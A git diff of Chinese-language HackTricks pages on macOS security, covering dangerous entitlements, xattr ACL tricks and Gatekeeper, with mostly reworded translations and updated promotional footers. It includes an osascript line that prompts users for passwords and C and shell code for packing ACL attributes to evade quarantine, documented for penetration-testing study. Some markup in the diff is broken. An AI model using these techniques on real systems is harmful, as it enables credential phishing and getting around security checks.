拥有调试工具权限的应用可以调用 `task_for_pid()` 来检索未签名和第三方应用的有效任务端口,这些应用设置了 `Get Task Allow` 权限为 `true`。然而,即使拥有调试工具权限,调试器**无法获取**没有 `Get Task Allow` 权限的进程的任务端口,因此受到系统完整性保护的保护。查看[**此处了解更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger)。
|
||||||
|
|
||||||
### `com.apple.security.cs.disable-library-validation`
|
### `com.apple.security.cs.disable-library-validation`
|
||||||
|
|
||||||
此权限允许**加载框架、插件或库,而无需由苹果签名或与主执行文件具有相同的团队 ID 签名**,因此攻击者可以滥用某些任意库加载来注入代码。查看[**此处了解更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation)。
|
此权限允许**加载框架、插件或库,而无需由 Apple 签名或与主执行文件具有相同的团队 ID 签名**,因此攻击者可以滥用某些任意库加载来注入代码。查看[**此处了解更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation)。
|
||||||
|
|
||||||
### `com.apple.private.security.clear-library-validation`
|
### `com.apple.private.security.clear-library-validation`
|
||||||
|
|
||||||
|
@ -49,11 +51,11 @@
|
||||||
|
|
||||||
### `com.apple.security.cs.allow-dyld-environment-variables`
|
### `com.apple.security.cs.allow-dyld-environment-variables`
|
||||||
|
|
||||||
此权限允许**使用 DYLD 环境变量**,这些变量可以用来注入库和代码。查看[**此处了解更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables)。
|
此权限允许**使用 DYLD 环境变量**,这些变量可以用来注入库和代码。查看[**此处了解更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables)。
|
||||||
|
|
||||||
### `com.apple.private.tcc.manager` 或 `com.apple.rootless.storage`.`TCC`
|
### `com.apple.private.tcc.manager` 或 `com.apple.rootless.storage`.`TCC`
|
||||||
|
|
||||||
[**根据这篇博客**](https://objective-see.org/blog/blog\_0x4C.html) **和** [**这篇博客**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/),这些权限允许**修改** **TCC** 数据库。
|
[**根据这篇博客**](https://objective-see.org/blog/blog_0x4C.html) **和** [**这篇博客**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/),这些权限允许**修改** **TCC** 数据库。
|
||||||
|
|
||||||
### **`system.install.apple-software`** 和 **`system.install.apple-software.standar-user`**
|
### **`system.install.apple-software`** 和 **`system.install.apple-software.standar-user`**
|
||||||
|
|
||||||
|
@ -69,7 +71,7 @@
|
||||||
|
|
||||||
**iMovie** 和 **Garageband** 拥有此权限。
|
**iMovie** 和 **Garageband** 拥有此权限。
|
||||||
|
|
||||||
有关利用该权限**获取 icloud 令牌**的漏洞的更多**信息**,请查看演讲:[**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=\_6e2LhmxVc0)
|
有关利用该权限**获取 icloud 令牌**的漏洞的更多**信息**,请查看演讲:[**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
|
||||||
|
|
||||||
### `com.apple.private.tcc.manager.check-by-audit-token`
|
### `com.apple.private.tcc.manager.check-by-audit-token`
|
||||||
|
|
||||||
|
@ -77,11 +79,11 @@
|
||||||
|
|
||||||
### `com.apple.private.apfs.revert-to-snapshot`
|
### `com.apple.private.apfs.revert-to-snapshot`
|
||||||
|
|
||||||
待办事项:在[**这份报告**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/)中**提到这可以用来**在重启后更新受 SSV 保护的内容。如果您知道如何操作,请提交 PR!
|
待办事项:在[**这份报告**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/)中提到,这可以用来在重启后更新受 SSV 保护的内容。如果您知道如何操作,请提交 PR!
|
||||||
|
|
||||||
### `com.apple.private.apfs.create-sealed-snapshot`
|
### `com.apple.private.apfs.create-sealed-snapshot`
|
||||||
|
|
||||||
待办事项:在[**这份报告**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/)中**提到这可以用来**在重启后更新受 SSV 保护的内容。如果您知道如何操作,请提交 PR!
|
待办事项:在[**这份报告**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/)中提到,这可以用来在重启后更新受 SSV 保护的内容。如果您知道如何操作,请提交 PR!
|
||||||
|
|
||||||
### `keychain-access-groups`
|
### `keychain-access-groups`
|
||||||
|
|
||||||
|
@ -102,7 +104,7 @@
|
||||||
|
|
||||||
### **`kTCCServiceAppleEvents`**
|
### **`kTCCServiceAppleEvents`**
|
||||||
|
|
||||||
允许应用程序向其他通常用于**自动执行任务**的应用程序发送事件。通过控制其他应用程序,它可以滥用这些其他应用程序被授予的权限。
|
允许应用程序向其他通常用于**自动执行任务**的应用程序发送事件。通过控制其他应用程序,它可以滥用这些应用程序被授予的权限。
|
||||||
|
|
||||||
比如让它们向用户请求密码:
|
比如让它们向用户请求密码:
|
||||||
|
|
||||||
|
@ -116,11 +118,11 @@ osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to acti
|
||||||
|
|
||||||
### **`kTCCServiceEndpointSecurityClient`**
|
### **`kTCCServiceEndpointSecurityClient`**
|
||||||
|
|
||||||
允许包括**写用户TCC数据库**在内的其他权限。
|
允许包括其他权限在内的**写入用户的TCC数据库**。
|
||||||
|
|
||||||
### **`kTCCServiceSystemPolicySysAdminFiles`**
|
### **`kTCCServiceSystemPolicySysAdminFiles`**
|
||||||
|
|
||||||
允许更改用户的**`NFSHomeDirectory`** 属性,这会改变他的家目录路径,因此允许**绕过TCC**。
|
允许**更改**用户的**`NFSHomeDirectory`** 属性,这会改变他的家目录路径,因此允许**绕过TCC**。
|
||||||
|
|
||||||
### **`kTCCServiceSystemPolicyAppBundles`**
|
### **`kTCCServiceSystemPolicyAppBundles`**
|
||||||
|
|
||||||
|
@ -132,17 +134,17 @@ osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to acti
|
||||||
|
|
||||||
### `kTCCServiceAccessibility`
|
### `kTCCServiceAccessibility`
|
||||||
|
|
||||||
该进程将能够**滥用macOS辅助功能**,这意味着例如它将能够按键。所以它可以请求控制像Finder这样的应用程序,并使用此权限批准对话框。
|
该进程将能够**滥用macOS辅助功能**,这意味着例如它将能够按键。因此,它可以请求控制像Finder这样的应用程序,并使用此权限批准对话框。
|
||||||
|
|
||||||
## 中等
|
## 中等
|
||||||
|
|
||||||
### `com.apple.security.cs.allow-jit`
|
### `com.apple.security.cs.allow-jit`
|
||||||
|
|
||||||
此权限允许通过向`mmap()`系统函数传递`MAP_JIT`标志来**创建可写且可执行的内存**。查看[**这里了解更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-jit)。
|
此权限允许通过向`mmap()`系统函数传递`MAP_JIT`标志来**创建可写且可执行的内存**。查看[**这里获取更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-jit)。
|
||||||
|
|
||||||
### `com.apple.security.cs.allow-unsigned-executable-memory`
|
### `com.apple.security.cs.allow-unsigned-executable-memory`
|
||||||
|
|
||||||
此权限允许**覆盖或修补C代码**,使用长期废弃的**`NSCreateObjectFileImageFromMemory`**(本质上不安全),或使用**DVDPlayback**框架。查看[**这里了解更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory)。
|
此权限允许**覆盖或修补C代码**,使用长期废弃的**`NSCreateObjectFileImageFromMemory`**(本质上不安全),或使用**DVDPlayback**框架。查看[**这里获取更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory)。
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
包含此权限会使您的应用程序暴露于内存不安全代码语言中常见的漏洞。仔细考虑您的应用程序是否需要此例外。
|
包含此权限会使您的应用程序暴露于内存不安全代码语言中常见的漏洞。仔细考虑您的应用程序是否需要此例外。
|
||||||
|
@ -150,10 +152,10 @@ osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to acti
|
||||||
|
|
||||||
### `com.apple.security.cs.disable-executable-page-protection`
|
### `com.apple.security.cs.disable-executable-page-protection`
|
||||||
|
|
||||||
此权限允许**修改其自己可执行文件的部分**以强制退出。查看[**这里了解更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection)。
|
此权限允许**修改其自己可执行文件的部分**以强制退出。查看[**这里获取更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-executable-page-protection)。
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
禁用可执行内存保护权限是一种极端的权限,它从您的应用程序中移除了一个基本的安全保护,使攻击者有可能在不被检测的情况下重写您的应用程序的可执行代码。如果可能,优先考虑更窄的权限。
|
禁用可执行内存保护权限是一个极端的权限,它从您的应用程序中移除了一个基本的安全保护,使攻击者有可能在不被检测的情况下重写您的应用程序的可执行代码。如果可能,优先考虑更窄的权限。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### `com.apple.security.cs.allow-relative-library-loads`
|
### `com.apple.security.cs.allow-relative-library-loads`
|
||||||
|
@ -162,7 +164,7 @@ osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to acti
|
||||||
|
|
||||||
### `com.apple.private.nullfs_allow`
|
### `com.apple.private.nullfs_allow`
|
||||||
|
|
||||||
此权限允许挂载nullfs文件系统(默认禁止)。工具:[**mount\_nullfs**](https://github.com/JamaicanMoose/mount\_nullfs/tree/master)。
|
此权限允许挂载nullfs文件系统(默认禁止)。工具:[**mount_nullfs**](https://github.com/JamaicanMoose/mount_nullfs/tree/master)。
|
||||||
|
|
||||||
### `kTCCServiceAll`
|
### `kTCCServiceAll`
|
||||||
|
|
||||||
|
@ -179,12 +181,14 @@ osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to acti
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>从零开始学习AWS黑客攻击直到成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* 如果你在一家**网络安全公司**工作,想在**HackTricks**中看到你的**公司广告**,或者想要获取**PEASS最新版本或下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
支持HackTricks的其他方式:
|
||||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列。
|
|
||||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)。
|
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||||
* 通过向[**hacktricks repo**](https://github.com/carlospolop/hacktricks)和[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)提交PR,**分享你的黑客技巧**。
|
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,14 +1,16 @@
|
||||||
# macOS xattr-acls额外内容
|
# macOS xattr-acls 额外内容
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云平台 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
支持 HackTricks 的其他方式:
|
||||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 如果您想在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF 版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
```bash
|
```bash
|
||||||
|
@ -24,7 +26,7 @@ ACL in hex: \x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>get_acls代码</summary>
|
<summary>获取 ACLs 的代码</summary>
|
||||||
```c
|
```c
|
||||||
// gcc -o get_acls get_acls
|
// gcc -o get_acls get_acls
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
@ -65,7 +67,7 @@ acl_free(acl_text);
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
</details>
|
<details>
|
||||||
```bash
|
```bash
|
||||||
# Lets add the xattr com.apple.xxx.xxxx with the acls
|
# Lets add the xattr com.apple.xxx.xxxx with the acls
|
||||||
mkdir start
|
mkdir start
|
||||||
|
@ -75,7 +77,7 @@ echo something > start/protected/something
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>set_xattr代码</summary>
|
<summary>set_xattr 的代码</summary>
|
||||||
```c
|
```c
|
||||||
// gcc -o set_xattr set_xattr.c
|
// gcc -o set_xattr set_xattr.c
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
@ -175,7 +177,9 @@ zip -r protected.zip protected ._protected
|
||||||
rm -rf protected
|
rm -rf protected
|
||||||
rm ._*
|
rm ._*
|
||||||
```
|
```
|
||||||
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
```
|
||||||
```bash
|
```bash
|
||||||
# Check if it worked
|
# Check if it worked
|
||||||
ditto -x -k --rsrc protected.zip .
|
ditto -x -k --rsrc protected.zip .
|
||||||
|
@ -183,12 +187,14 @@ xattr -l protected
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>从零开始学习AWS黑客攻击直至成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者你想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
支持HackTricks的其他方式:
|
||||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**推特**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库**提交PR来分享您的黑客技巧**。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -4,11 +4,11 @@
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您在**网络安全公司**工作,想在**HackTricks**中看到您的**公司广告**,或者想要访问**最新版本的PEASS或下载HackTricks的PDF**?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列。
|
||||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)。
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧**
|
* **通过向**[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||||
*
|
*
|
||||||
* .
|
* .
|
||||||
|
|
||||||
|
@ -16,29 +16,29 @@
|
||||||
|
|
||||||
## Gatekeeper
|
## Gatekeeper
|
||||||
|
|
||||||
**Gatekeeper**是为Mac操作系统开发的一项安全功能,旨在确保用户在其系统上**只运行可信任的软件**。它通过**验证用户从App Store以外的来源下载并尝试打开的软件**(如应用程序、插件或安装程序包)来实现。
|
**Gatekeeper**是为Mac操作系统开发的安全功能,旨在确保用户**只运行可信的软件**。它通过**验证**用户从**App Store外部来源**下载并尝试打开的软件(如应用程序、插件或安装包)来发挥作用。
|
||||||
|
|
||||||
Gatekeeper的关键机制在于其**验证**过程。它检查下载的软件是否由**已知开发者签名**,以确保软件的真实性。此外,它还确定软件是否经过了**Apple的公证**,以确认其不包含已知的恶意内容,并且在公证后没有被篡改。
|
Gatekeeper的关键机制在于其**验证**过程。它检查下载的软件是否由**认可的开发者签名**,确保软件的真实性。此外,它确定软件是否已被Apple**公证**,确认它没有已知的恶意内容,并且在公证后没有被篡改。
|
||||||
|
|
||||||
此外,Gatekeeper通过**提示用户批准首次打开**下载的软件来加强用户控制和安全性。这个保护措施有助于防止用户无意中运行可能有害的可执行代码,而他们可能将其误认为是无害的数据文件。
|
此外,Gatekeeper通过**提示用户批准首次打开**下载的软件来加强用户控制和安全性。这一安全措施有助于防止用户无意中运行可能有害的可执行代码,他们可能误以为是无害的数据文件。
|
||||||
|
|
||||||
### 应用程序签名
|
### 应用程序签名
|
||||||
|
|
||||||
应用程序签名,也称为代码签名,是Apple安全基础设施的关键组成部分。它们用于**验证软件作者的身份**(开发者)并确保代码自上次签名以来没有被篡改。
|
应用程序签名,也称为代码签名,是Apple安全基础设施的关键组成部分。它们用于**验证软件作者的身份**(开发者),并确保自上次签名以来代码未被篡改。
|
||||||
|
|
||||||
以下是其工作原理:
|
以下是它的工作原理:
|
||||||
|
|
||||||
1. **签署应用程序:**当开发者准备分发他们的应用程序时,他们使用一个私钥对应用程序进行**签名**。这个私钥与开发者在加入Apple开发者计划时获得的**证书相关联**。签名过程涉及对应用程序的所有部分创建一个加密哈希,并使用开发者的私钥对该哈希进行加密。
|
1. **签署应用程序:**当开发者准备分发他们的应用程序时,他们使用私钥**对应用程序进行签名**。这个私钥与Apple在他们加入Apple开发者计划时发给开发者的**证书相关联**。签名过程包括创建应用程序所有部分的加密散列,并用开发者的私钥加密此散列。
|
||||||
2. **分发应用程序:**签名的应用程序随后与开发者的证书一起分发给用户,该证书包含相应的公钥。
|
2. **分发应用程序:**然后将签名的应用程序连同开发者的证书一起分发给用户,证书中包含相应的公钥。
|
||||||
3. **验证应用程序:**当用户下载并尝试运行应用程序时,他们的Mac操作系统使用开发者证书中的公钥解密哈希。然后,它根据应用程序的当前状态重新计算哈希,并将其与解密的哈希进行比较。如果它们匹配,这意味着**应用程序自开发者签名以来没有被修改**,系统允许应用程序运行。
|
3. **验证应用程序:**当用户下载并尝试运行应用程序时,他们的Mac操作系统使用开发者证书中的公钥来解密散列。然后根据应用程序的当前状态重新计算散列,并将其与解密后的散列进行比较。如果它们匹配,这意味着自开发者签名以来**应用程序未被修改**,系统允许应用程序运行。
|
||||||
|
|
||||||
应用程序签名是Apple的Gatekeeper技术的重要组成部分。当用户尝试**打开从互联网下载的应用程序**时,Gatekeeper会验证应用程序的签名。如果它使用由Apple颁发给已知开发者的证书进行签名,并且代码没有被篡改,Gatekeeper允许应用程序运行。否则,它会阻止应用程序并向用户发出警报。
|
应用程序签名是Apple的Gatekeeper技术的重要部分。当用户尝试**打开从互联网下载的应用程序**时,Gatekeeper会验证应用程序签名。如果它使用Apple颁发给已知开发者的证书签名,并且代码未被篡改,Gatekeeper允许应用程序运行。否则,它会阻止应用程序并提醒用户。
|
||||||
|
|
||||||
从macOS Catalina开始,Gatekeeper还会检查应用程序是否经过了Apple的**公证**,增加了额外的安全层。公证过程会检查应用程序是否存在已知的安全问题和恶意代码,如果这些检查通过,Apple会向应用程序添加一个Gatekeeper可以验证的凭证。
|
从macOS Catalina开始,**Gatekeeper还会检查应用程序是否已被Apple公证**,增加了一层安全保障。公证过程检查应用程序是否存在已知的安全问题和恶意代码,如果这些检查通过,Apple会向应用程序添加一个Gatekeeper可以验证的票据。
|
||||||
|
|
||||||
#### 检查签名
|
#### 检查签名
|
||||||
|
|
||||||
在检查一些**恶意软件样本**时,你应该始终**检查二进制文件的签名**,因为签名它的**开发者**可能已经与**恶意软件**有关联。
|
当检查某些**恶意软件样本**时,您应该始终**检查二进制文件的签名**,因为签名它的**开发者**可能已经与**恶意软件**有**关联**。
|
||||||
```bash
|
```bash
|
||||||
# Get signer
|
# Get signer
|
||||||
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
|
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
|
||||||
|
@ -55,32 +55,32 @@ spctl --assess --verbose /Applications/Safari.app
|
||||||
# Sign a binary
|
# Sign a binary
|
||||||
codesign -s <cert-name-keychain> toolsdemo
|
codesign -s <cert-name-keychain> toolsdemo
|
||||||
```
|
```
|
||||||
### Notarization
|
### 公证
|
||||||
|
|
||||||
苹果的验签过程是一种额外的保护措施,用于保护用户免受潜在有害软件的侵害。它涉及开发者将他们的应用程序提交给苹果的验签服务进行审查,这与应用审核不应混淆。该服务是一个自动化系统,会对提交的软件进行检查,以查找恶意内容和代码签名可能存在的问题。
|
苹果的公证过程是一项额外的安全措施,用于保护用户免受潜在有害软件的影响。它涉及**开发者提交他们的应用程序给**苹果的公证服务进行检查,这个服务不应与应用审核混淆。这项服务是一个**自动化系统**,它会审查提交的软件是否含有**恶意内容**以及代码签名是否存在潜在问题。
|
||||||
|
|
||||||
如果软件在没有引起任何关注的情况下通过了这个检查,验签服务会生成一个验签凭证。然后,开发者需要将这个凭证附加到他们的软件上,这个过程被称为“stapling”。此外,验签凭证也会在网上发布,Gatekeeper(苹果的安全技术)可以访问它。
|
如果软件在检查中**通过**而没有引起任何关注,公证服务会生成一个公证票据。然后要求开发者**将这个票据附加到他们的软件上**,这个过程被称为'钉附'。此外,公证票据也会在线上发布,苹果的安全技术Gatekeeper可以访问它。
|
||||||
|
|
||||||
当用户首次安装或执行软件时,验签凭证的存在(无论是附加到可执行文件上还是在线找到)会通知Gatekeeper该软件已由苹果进行了验签。因此,Gatekeeper会在初始启动对话框中显示一个描述性消息,指示该软件已经通过苹果的恶意内容检查。这个过程增强了用户对他们在系统上安装或运行的软件的安全信心。
|
